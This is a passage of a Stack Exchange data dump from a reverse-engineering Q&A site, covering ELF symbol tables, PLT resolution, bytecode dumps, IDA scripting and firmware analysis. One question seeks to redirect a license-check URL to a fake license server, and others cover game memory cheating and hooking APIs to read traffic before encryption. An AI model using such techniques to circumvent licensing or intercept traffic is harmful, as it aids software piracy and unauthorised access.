     &amp;lt;baz: co_lnotab&amp;gt;&#xA;r\x07\x00\x00\x00       &amp;lt;foo.py: co_const[3]: reference to 'baz'&amp;gt;&#xA;N                       &amp;lt;foo.py: co_const[4]: None&amp;gt;&#xA;)\x06                   &amp;lt;foo.py: co_names: size&amp;gt; &#xA;\xda\x01                &amp;lt;foo.py: number of characters of next item&amp;gt;&#xA;a                       &amp;lt;foo.py: co_names[0]: a&amp;gt;&#xA;\xda\x01                &amp;lt;foo.py: number of characters of next item&amp;gt;&#xA;b                       &amp;lt;foo.py: co_names[1]: b&amp;gt;&#xA;\xda\x01                &amp;lt;foo.py: number of characters of next item&amp;gt;&#xA;c                       &amp;lt;foo.py: co_names[2]: c&amp;gt;&#xA;r\x07\x00\x00\x00       &amp;lt;foo.py: co_names[3]: reference to 'baz'&amp;gt;&#xA;Z\x0e                   &amp;lt;foo.py: number of characters of next item&amp;gt;&#xA;multiplication          &amp;lt;foo.py: co_names[4]: multiplication&amp;gt;&#xA;Z\x06                   &amp;lt;foo.py: number of characters of next item&amp;gt;&#xA;square                  &amp;lt;foo.py: co_names[5]: square&amp;gt;&#xA;r\x03\x00\x00\x00       &amp;lt;foo.py: co_varnames: reference to empty tuple '()'&amp;gt;     &#xA;r\x03\x00\x00\x00       &amp;lt;foo.py: co_freevars: reference to emtpy tuple '()'&amp;gt;     &#xA;r\x03\x00\x00\x00       &amp;lt;foo.py: co_cellvars: reference to empty tuple '()'&amp;gt;&#xA;r\x06\x00\x00\x00       &amp;lt;foo.py: co_filename: reference to 'foo.py'&amp;gt;     &#xA;\xda\x08                &amp;lt;foo.py: number of characters of next item&amp;gt;&#xA;&amp;lt;module&amp;gt;                &amp;lt;foo.py: co_name&amp;gt;&#xA;\x03\x00\x00\x00        &amp;lt;foo.py: co_firstlineno&amp;gt;&#xA;s\n\x00\x00\x00         &amp;lt;foo.py: co_lnotab: size = '\n' = 0A&amp;gt;&#xA;\x04\x01                &amp;lt;foo.py: o_lnotab&amp;gt; &#xA;\x04\x01                &amp;lt;foo.py: o_lnotab&amp;gt;&#xA;\x08\x02                &amp;lt;foo.py: o_lnotab&amp;gt;&#xA;\x08\x07                &amp;lt;foo.py: o_lnotab&amp;gt;&#xA;\n\x01'                 &amp;lt;foo.py: o_lnotab&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;The useful information:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/a/16123158/2913477&quot;&gt;How to create a code object in python?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="26990" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2019-04-16T09:55:54.290" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21160" PostTypeId="1" AcceptedAnswerId="21165" CreationDate="2019-04-16T06:39:01.907" Score="2" ViewCount="964" Body="&lt;p&gt;So I'm trying to write a reversing tool that parses symbol table to find the main function's address&lt;/p&gt;&#xA;&#xA;&lt;p&gt;right now all the binaries I'm checking the name of main function is still main in symbol table&lt;/p&gt;&#xA;&#xA;&lt;p&gt;my question is can this change? because right now my check to finding the main function is that string being equal to main&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if it can change, what are the possible values? if it can have too many possible values then how can i find it in the binary?&lt;/p&gt;&#xA;" OwnerUserId="28159" LastActivityDate="2019-04-18T13:53:38.397" Title="Is the main function's name in the symbol table of C &amp; C++ programs always 'main'? if not, how to find the name?" Tags="|x86|c|elf|binary|x86-64|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21161" PostTypeId="2" ParentId="21160" CreationDate="2019-04-16T06:53:50.307" Score="-1" Body="&lt;p&gt;main() means your program is a console application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WinMain() means the program is a GUI application -- that is, it displays windows and dialog boxes instead of showing console.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;DllMain() means the program is a DLL. A DLL cannot be run directly but is used by the above two kinds of applications.&lt;/p&gt;&#xA;" OwnerUserId="3364" LastActivityDate="2019-04-16T06:53:50.307" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21162" PostTypeId="2" ParentId="21115" CreationDate="2019-04-16T07:50:00.440" Score="2" Body="&lt;p&gt;The 24 pin debug connector on the GR-55 seems to have all required signals for the E10A-USB, so I'm guessing they just used a smaller connector to reduce board space and cost. The connection diagram below is for a different CPU, but the pin designations match those in the GR-55 so I bet they are compatible. You just have to make a custom adapter cable.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/KPPwE.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KPPwE.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;My main goal is to be able acquire all the right development software&#xA;  and equipment for this unit, learn the assembly language for this&#xA;  processor, and disable the checksum so i'm able to change the names of&#xA;  strings and maybe some other functions making the UI for this system&#xA;  1000x more usable.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Luckily for you the firmware is not encrypted and has many useful strings and debug symbols in it, so it should be relatively easy to disassemble and patch. Changing the UI functions will take a lot more work.     &lt;/p&gt;&#xA;" OwnerUserId="27393" LastActivityDate="2019-04-16T07:50:00.440" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21163" PostTypeId="1" AcceptedAnswerId="21440" CreationDate="2019-04-16T08:09:32.457" Score="4" ViewCount="350" Body="&lt;p&gt;So right now I'm trying to resolve function calls and their names in my reversing tool&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the problem I'm having is that library functions such as printf and fwrite and such do not have a corresponding address in symbol table unlike functions inside the actual program which do contain a virtual address in the symbol table and therefore i can resolve their name when they are called statically&lt;/p&gt;&#xA;&#xA;&lt;p&gt;basically i want to resolve the name of functions even static library functions like printf just like how readelf does (i tried readelf and indeed it does resolve the name of printf even tho it says the address value of printf inside symbol table is 0 unlike other functions so not sure how does it realize the offset of printf inside plt)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so i have these questions :&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;how to find the index or address of printf in the PLT so i can resolve its name when i see a &quot;Call address&quot; &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;why doesn't the symbol table contain the virtual address of these functions unlike functions inside the code? considering these are static libraries and are statically linked in that program, shouldn't they have a fixed address just like other functions?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;the program is only a printf function inside main and only included stdio.h, now my understanding is that i included the stdio.h statically considering i included it in the beginning and didnt use any specific option while compiling. so why is it going into PLT instead of .text section and having a static address? i thought when i include a library in the beginning it basically copy and pastes it into my .text section?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="28159" LastEditorUserId="28159" LastEditDate="2019-04-16T10:55:07.140" LastActivityDate="2019-07-08T16:01:10.363" Title="How to find the index of static ilbrary functions in the PLT of the binary?" Tags="|binary-analysis|x86|c|elf|binary|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21164" PostTypeId="1" CreationDate="2019-04-16T12:35:04.060" Score="1" ViewCount="96" Body="&lt;p&gt;I am currently investigating a weird layout for storing of what appears to be strings (medical format).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at the dump for a bunch of those strings here is what I see:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ hexdump -C out0000 &#xA;00000000  df ff 79 17 01 09 00 49  53 4f 38 38 35 39 2d 31  |..y....ISO8859-1|&#xA;00000010  02 08 00 30 30 30 30 30  30 30 30                 |...00000000|&#xA;0000001b&#xA;$ hexdump -C out0001&#xA;00000000  df ff 79 19 01 09 00 49  53 4f 38 38 35 39 2d 31  |..y....ISO8859-1|&#xA;00000010  02 0a 00 83 74 83 40 83  93 83 67 83 80           |....t.@...g..|&#xA;0000001d&#xA;$ hexdump -C out0009&#xA;00000000  df ff 79 21 01 09 00 49  53 4f 38 38 35 39 2d 31  |..y!...ISO8859-1|&#xA;00000010  02 12 00 91 71 95 7e 90  ac 90 6c 95 61 83 5a 83  |....q.~...l.a.Z.|&#xA;00000020  93 83 5e 81 5b                                    |..^.[|&#xA;00000025&#xA;$ hexdump -C out0002&#xA;00000000  df ff 79 16 01 09 00 49  53 4f 38 38 35 39 2d 31  |..y....ISO8859-1|&#xA;00000010  02 07 00 46 41 4e 54 4f  4d 55                    |...FANTOMU|&#xA;0000001a&#xA;$ hexdump -C out0004&#xA;00000000  df ff 79 0f 01 09 00 49  53 4f 38 38 35 39 2d 31  |..y....ISO8859-1|&#xA;00000010  02 00 00                                          |...|&#xA;00000013&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Has anyone seen this format before ? What is this ?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Steps to extract those weird strings:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You need an instance (image) from a Toshiba MRT200SP5,&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Extract the &lt;code&gt;Original Data&lt;/code&gt;, using eg.:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;gdcmraw -t 700d,1008 toshiba_input.dcm original_data.raw&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use the work in progress &lt;a href=&quot;https://github.com/malaterre/TOSHIBA_MEC_MR3/blob/master/dump4.c&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;dump4.c&lt;/code&gt;&lt;/a&gt; to process one portion of it (Type = WSTRING)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3041" LastEditorUserId="3041" LastEditDate="2019-04-17T06:49:07.117" LastActivityDate="2019-04-17T09:01:04.820" Title="ISO8859-1 serialization for strings" Tags="|binary|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21165" PostTypeId="2" ParentId="21160" CreationDate="2019-04-16T20:17:21.913" Score="4" Body="&lt;p&gt;Since you mentioned &lt;code&gt;ELF&lt;/code&gt; in the tag. &lt;code&gt;WinMain&lt;/code&gt;, &lt;code&gt;DllMain&lt;/code&gt;, etc should not be a concern for you. They're name conventions for Windows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;main&lt;/code&gt; function is the &lt;a href=&quot;https://en.cppreference.com/w/c/language/main_function&quot; rel=&quot;nofollow noreferrer&quot;&gt;first function executed&lt;/a&gt; for a C/C++ program. However, it doesn't mean this is the &lt;em&gt;real&lt;/em&gt; first function / code executed. You will usually find some initialization code before this function is called.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;my question is can this change? because right now my check to finding&#xA;  the main function is that string being equal to main&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes. Actually, you find this &lt;strong&gt;static symbol&lt;/strong&gt; because your executable is not stripped. If you run strip(1) on the executable, you'll lose this information.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;if it can change, what are the possible values? if it can have too&#xA;  many possible values then how can i find it in the binary?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It can be anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance: without &lt;strong&gt;static symbol&lt;/strong&gt; and if your executable is not compiled with the &lt;code&gt;-static&lt;/code&gt; switch, you can still retrieve the address of the &lt;code&gt;main&lt;/code&gt; function by finding the first parameter of &lt;code&gt;__libc_start_main&lt;/code&gt;. This function is normally imported from the shared object &lt;code&gt;libc.so&lt;/code&gt;, so you can find its &lt;strong&gt;dynamic symbol&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="26176" LastActivityDate="2019-04-16T20:17:21.913" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21168" PostTypeId="2" ParentId="21164" CreationDate="2019-04-17T09:01:04.820" Score="2" Body="&lt;p&gt;with a cursory glance it appears your data is formatted like this&lt;br&gt;&#xA;(assumed big endian  but the actual data SHORT field appears to be little endian &#xA;you may need to improvise )   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the block is variable sized and the size is embedded prior to the data&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;typedef struct _FOO {   &#xA;BYTE[3]       magic                 \\ dfff79 same in all blocks    &#xA;BYTE[1]       siz_exc_magic&amp;amp;siz_fld \\ 17,19,21,16,0f  &#xA;int           another_magic         \\ 01090049  &#xA;char[8]       encode                \\ ISO8859-1   &#xA;BYTE[1]       some_byte             \\ 02 same in all blocks  &#xA;short         act_size_of_data      \\ 08,0a,12,7,0   &#xA;data[1]       variable_sized_data&#xA;}                &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2019-04-17T09:01:04.820" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21169" PostTypeId="2" ParentId="20892" CreationDate="2019-04-17T09:27:02.703" Score="1" Body="&lt;p&gt;After iterating some arbitrary functions in &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idapython_docs/&quot; rel=&quot;nofollow noreferrer&quot;&gt;IDA Python docs&lt;/a&gt;, I found a function&#xA;&lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idapython_docs/ida_typeinf-module.html#get_arg_addrs&quot; rel=&quot;nofollow noreferrer&quot;&gt;get_arg_addrs()&lt;/a&gt; which shows the argument I need. Here is the Python code&#xA;that I have appended with my question's code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Get IOCTLs&#xA;for i in XrefList:&#xA;    fifth_arg = idaapi.get_arg_addrs(i)[5]&#xA;    ioctl = GetOpnd(fifth_arg, 1)&#xA;    print &amp;quot;IOCTL: %s&amp;quot; % ioctl&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This a for loop iterates over the &lt;code&gt;XrefList&lt;/code&gt; array that had been created from previous operations.&#xA;Then find the 5th argument and the 1st operand which is the IOCTL value.&#xA;This method also works with &lt;code&gt;DeviceIoControl()&lt;/code&gt;. But The code has one caveat.&#xA;If &lt;code&gt;NtDeviceIoControlFile()&lt;/code&gt; is used in some wrapper subroutine&#xA;then the output of above code will be the CPU register name.&lt;/p&gt;&#xA;&#xA;" OwnerUserId="23069" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2019-04-17T09:27:02.703" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21173" PostTypeId="1" AcceptedAnswerId="22957" CreationDate="2019-04-17T18:34:13.440" Score="3" ViewCount="469" Body="&lt;p&gt;I am currently reversing Stardew Valley and I have been trying to trace the pointers to a static base address for values like gold and energy. The problem is that I can't find any static base addresses. It seems like no matter what path I take I end up getting instructions that nothing accesses. I searched online and someone said the same thing, and mentioned something about it being managed code written with .NET. My question is this: Is it possible that the game doesn't have static base addresses for these values, and, if so, how would I go about finding the values automatically if there's no static address?&lt;/p&gt;&#xA;" OwnerUserId="22104" LastActivityDate="2023-03-17T08:16:16.133" Title="Do all games have static base addresses for values like gold and energy?" Tags="|debugging|memory|cheat-engine|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21175" PostTypeId="1" CreationDate="2019-04-18T08:31:43.130" Score="2" ViewCount="1035" Body="&lt;p&gt;I am trying to extract the &lt;a href=&quot;https://bizpartner.panasonic.net/public/file/wv-s2511ln-etc-firmware?category=2025&quot; rel=&quot;nofollow noreferrer&quot;&gt;firmware&lt;/a&gt; for a Panasonic WV-S2131L ip camera. It comes as a .zip file that contains a .img file. I have tried many methods to try to analyze this file and I have found nothing of value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Binwalk returned absolutely nothing&lt;/p&gt;&#xA;&#xA;&lt;p&gt;xxd at least gave me back the firmware version&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;xxd -a s1131_402ES.img | head&#xA;  00000000: 342e 3032 4530 0000 302e 3030 0000 0000  4.02E0..0.00....&#xA;  00000010: 1314 0000 1314 0000 0004 0000 8000 b003  ................&#xA;  00000020: 1f06 0000 0000 0000 0000 0000 0000 0000  ................&#xA;  00000030: 0000 0000 0000 0000 0000 0000 0000 8000  ................&#xA;  00000040: 0000 0000 0000 0000 0000 8000 0000 2003  .............. .&#xA;  00000050: 0000 0000 0000 0000 0000 a003 9601 0000  ................&#xA;  00000060: 0100 0000 0000 0000 0100 0000 0000 0000  ................&#xA;  00000070: 0000 0000 0000 0000 0000 0000 0000 797d  ..............y}&#xA;  00000080: 5e12 3e81 1370 6400 a6fa c4e5 058b 3136  ^.&amp;gt;..pd.......16&#xA;  00000090: 5630 f8f0 2878 5f56 7788 279b a597 114c  V0..(x_Vw.'....L&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;A complete hex dump revealed no recognizable string&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FDisk said there was no recognizable file system&lt;/p&gt;&#xA;&#xA;&lt;p&gt;7zip thinks it's corrupt&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm thinking that it has to be some type of binary image but since no tools, I've tried have given any indication that any recognizable partitions or files existed, maybe it's obfuscated or has some type of encryption.&lt;/p&gt;&#xA;" OwnerUserId="28189" LastActivityDate="2019-04-25T11:40:41.127" Title="Unable to extract IP camera firmware" Tags="|binary-analysis|firmware|embedded|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21176" PostTypeId="2" ParentId="21160" CreationDate="2019-04-18T13:53:38.397" Score="3" Body="&lt;p&gt;Just a quick note in case you would not be aware of this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ cat tiny.c&#xA;#include &amp;lt;unistd.h&amp;gt;&#xA;void _start() {&#xA;  _exit(42);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;on x86-64, here is what I get (you need a static libc: libc.a):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ gcc -static -ffreestanding -nostartfiles  -s -o tiny tiny.c&#xA;$ ./tiny || echo $?&#xA;42&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Pay attention that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ file tiny&#xA;tiny: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, BuildID[sha1]=5557e6655b77976b7c248711af6f508d931fc3af, stripped&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but only:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ objdump -x tiny&#xA;&#xA;tiny:     file format elf64-x86-64&#xA;tiny&#xA;architecture: i386:x86-64, flags 0x00000102:&#xA;EXEC_P, D_PAGED&#xA;start address 0x0000000000400180&#xA;&#xA;Program Header:&#xA;    LOAD off    0x0000000000000000 vaddr 0x0000000000400000 paddr 0x0000000000400000 align 2**21&#xA;         filesz 0x0000000000000240 memsz 0x0000000000000240 flags r-x&#xA;    LOAD off    0x0000000000001000 vaddr 0x0000000000601000 paddr 0x0000000000601000 align 2**21&#xA;         filesz 0x0000000000000018 memsz 0x0000000000000018 flags rw-&#xA;    NOTE off    0x0000000000000158 vaddr 0x0000000000400158 paddr 0x0000000000400158 align 2**2&#xA;         filesz 0x0000000000000024 memsz 0x0000000000000024 flags r--&#xA;     TLS off    0x0000000000001000 vaddr 0x0000000000601000 paddr 0x0000000000601000 align 2**2&#xA;         filesz 0x0000000000000000 memsz 0x0000000000000004 flags r--&#xA;   STACK off    0x0000000000000000 vaddr 0x0000000000000000 paddr 0x0000000000000000 align 2**4&#xA;         filesz 0x0000000000000000 memsz 0x0000000000000000 flags rw-&#xA;&#xA;Sections:&#xA;Idx Name          Size      VMA               LMA               File off  Algn&#xA;  0 .note.gnu.build-id 00000024  0000000000400158  0000000000400158  00000158  2**2&#xA;                  CONTENTS, ALLOC, LOAD, READONLY, DATA&#xA;  1 .text         0000006a  0000000000400180  0000000000400180  00000180  2**4&#xA;                  CONTENTS, ALLOC, LOAD, READONLY, CODE&#xA;  2 .eh_frame     00000050  00000000004001f0  00000000004001f0  000001f0  2**3&#xA;                  CONTENTS, ALLOC, LOAD, READONLY, DATA&#xA;  3 .tbss         00000004  0000000000601000  0000000000601000  00001000  2**2&#xA;                  ALLOC, THREAD_LOCAL&#xA;  4 .got.plt      00000018  0000000000601000  0000000000601000  00001000  2**3&#xA;                  CONTENTS, ALLOC, LOAD, DATA&#xA;  5 .comment      0000002c  0000000000000000  0000000000000000  00001018  2**0&#xA;                  CONTENTS, READONLY&#xA;SYMBOL TABLE:&#xA;no symbols&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3041" LastActivityDate="2019-04-18T13:53:38.397" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21177" PostTypeId="1" CreationDate="2019-04-18T13:56:00.297" Score="-1" ViewCount="146" Body="&lt;p&gt;Is there a tool that logs the value the IP register of a specific process running?&#xA;I am trying to compare the instruction excution before and after a file modification. &lt;/p&gt;&#xA;" OwnerUserId="28192" LastActivityDate="2019-04-20T07:39:23.263" Title="Logging the Instruction Pointer Register" Tags="|debuggers|tools|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21179" PostTypeId="1" CreationDate="2019-04-18T15:56:35.913" Score="0" ViewCount="1868" Body="&lt;p&gt;I was wondering, assuming I wrote a dll in C++ and could access another application's memory, is it possible to call outside functions if I had the address?&lt;/p&gt;&#xA;" OwnerUserId="28193" LastActivityDate="2019-04-26T08:54:52.247" Title="Is it possible to call external functions?" Tags="|c++|functions|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="21180" PostTypeId="1" AcceptedAnswerId="23544" CreationDate="2019-04-18T17:14:04.577" Score="1" ViewCount="5097" Body="&lt;p&gt;This has probably already been asked a million times, but how would I change the &lt;code&gt;http://iristech.co/custom-code/iris_license.php?&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;to&lt;code&gt;http://fakeliscenceserver.com/&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Thanks.&lt;a href=&quot;https://i.stack.imgur.com/XRAcr.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/XRAcr.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user28194" LastEditorDisplayName="user28194" LastEditDate="2021-08-06T12:02:32.003" LastActivityDate="2021-08-06T12:02:32.003" Title="IDA change string in rdata" Tags="|ida|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21181" PostTypeId="2" ParentId="19909" CreationDate="2019-04-18T23:30:01.867" Score="2" Body="&lt;p&gt;That requires some research on your end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Find out what API functions (not Java level) are used on a system level to deal with SSL. I could imagine that the Java runtime on Windows uses the Internet API or WinHttp or something comparable, or brings its own SSL implementation (I couldn't find out what njssl is with a quick search).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming it's the Internet API, you'd be able to read unencrypted data by hooking &lt;code&gt;HttpSendRequest(Ex)[A/W]&lt;/code&gt; for example, and the SSL stuff then is handled from there and finally it uses regular sockets but at this point the data is encrypted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd try to run the application, attach to the right Java runtime (I guess some java.exe will be running somewhere) and either look through loaded DLLs, or maybe put a breakpoint on standard low-level socket calls (&lt;code&gt;socket&lt;/code&gt;, &lt;code&gt;send&lt;/code&gt;, &lt;code&gt;recv&lt;/code&gt;, &lt;code&gt;WSASend&lt;/code&gt; etc.) and look at the call stack to maybe figure out what upper layers the call came from.&lt;/p&gt;&#xA;" OwnerUserId="23277" LastActivityDate="2019-04-18T23:30:01.867" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21182" PostTypeId="2" ParentId="15431" CreationDate="2019-04-18T23:47:07.147" Score="2" Body="&lt;p&gt;Regarding your first question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I understood the 3 papers necessary to answer the question correctly, your abstract locations would be &lt;code&gt;ebx&lt;/code&gt; for example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I hate academic papers with a passion but from glancing over your mentioned paper, the quoted paper for the used algorithm for Value-Set Analysis (&quot;What You See Is Not What You eXecute&quot;) and in turn the paper quoted there to give an answer what Value-Set Analysis even is (&quot;Generic Value-Set Analysis on Low-Level Code&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, they track some slight abstraction of variables, which include registers (as explained in one of these papers, I don't want to go back and find out which one it was) over some code and observe how they change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your example of the Hybris worm, &lt;code&gt;ebx&lt;/code&gt; would be an abstract location of interest, and Value-Set analysis would be used to observe what values &lt;code&gt;ebx&lt;/code&gt; would assume over the loop code in order to deduce a potential location for unpacked code.&lt;/p&gt;&#xA;" OwnerUserId="23277" LastActivityDate="2019-04-18T23:47:07.147" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21183" PostTypeId="2" ParentId="21157" CreationDate="2019-04-18T23:54:19.597" Score="1" Body="&lt;p&gt;Typically I would load the binary into a PE editor and see if it looks good. You could load it into LordPE and click around and see if it throws an error. Open the import browser in LordPE and see if it complains, open the resource table, look at the section data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then also jump to the entry point code and see if it looks reasonable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, if you extracted the binary from memory and it has been actually loaded, it very likely needs some light fixups to turn it into a proper executable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason is loading a PE file alters the layout a bit compared to PE files on disk (file alignment vs. section alignment), but loading a memory dump into a PE editor is quickly revealed as described above, LordPE won't be able to properly show the import table, code at the entry point won't make sense and so on.&lt;/p&gt;&#xA;" OwnerUserId="23277" LastActivityDate="2019-04-18T23:54:19.597" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21184" PostTypeId="1" AcceptedAnswerId="21193" CreationDate="2019-04-19T13:27:56.057" Score="1" ViewCount="1553" Body="&lt;p&gt;To debug a jar file, i tried to modify java bytecode using JByteMod tool and print some variable to standard output. The variable i'm trying to print is an &lt;code&gt;ArrayList&lt;/code&gt;. Specifically, it's a public attribute of class &lt;code&gt;MethodNode&lt;/code&gt;, named &lt;code&gt;outgoings_&lt;/code&gt;. The code is something like this:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;invokeinterface Object Iterator.next()&#xA;checkcast MethodNode&#xA;astore 4&#xA;######## my code begins from here #######&#xA;getstatic PrintStream System.out&#xA;aload 4&#xA;getfield List MethodNode.outgoings_&#xA;invokevirtual void PrintStream.println(Object)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above code works fine and actually prints the list. For some reasons, i needed to print the first element of that list, so i changed the code:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;invokeinterface Object Iterator.next()&#xA;checkcast MethodNode&#xA;astore 4&#xA;######## my code begins from here #######&#xA;getstatic PrintStream System.out&#xA;aload 4&#xA;getfield List MethodNode.outgoings_&#xA;iconst_0&#xA;invokeinterface Object List.get(int)&#xA;invokevirtual void PrintStream.println(Object)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this code fails to run and outputs this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Exception in thread &quot;main&quot; java.lang.reflect.InvocationTargetException&#xA;    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)&#xA;    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)&#xA;    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)&#xA;    at java.lang.reflect.Method.invoke(Method.java:498)&#xA;    at org.eclipse.jdt.internal.jarinjarloader.JarRsrcLoader.main(JarRsrcLoader.java:58)&#xA;Caused by: java.lang.VerifyError: Illegal type at constant pool entry 67 in class wy2.SCCUtil&#xA;Exception Details:&#xA;  Location:&#xA;    wy2/SCCUtil.buildScc(Lwy/CallGraph;)V @51: invokeinterface&#xA;  Reason:&#xA;    Constant pool index 67 is invalid&#xA;  Bytecode:&#xA;    0x0000000: bb00 1f59 b700 204d bb00 1659 b700 174e&#xA;    0x0000010: 2bb4 0026 b900 2c01 003a 05a7 0029 1905&#xA;    0x0000020: b900 3401 00c0 0036 3a04 b200 3c19 04b4&#xA;    0x0000030: 003f 03b9 0043 0200 b600 492a 2b19 042c&#xA;    0x0000040: 2db6 004d 1905 b900 5101 009a ffd3 2db9&#xA;    0x0000050: 0054 0100 a700 6f2c b600 57c0 0036 3a04&#xA;    0x0000060: 2d19 04b9 005b 0200 9900 06a7 0058 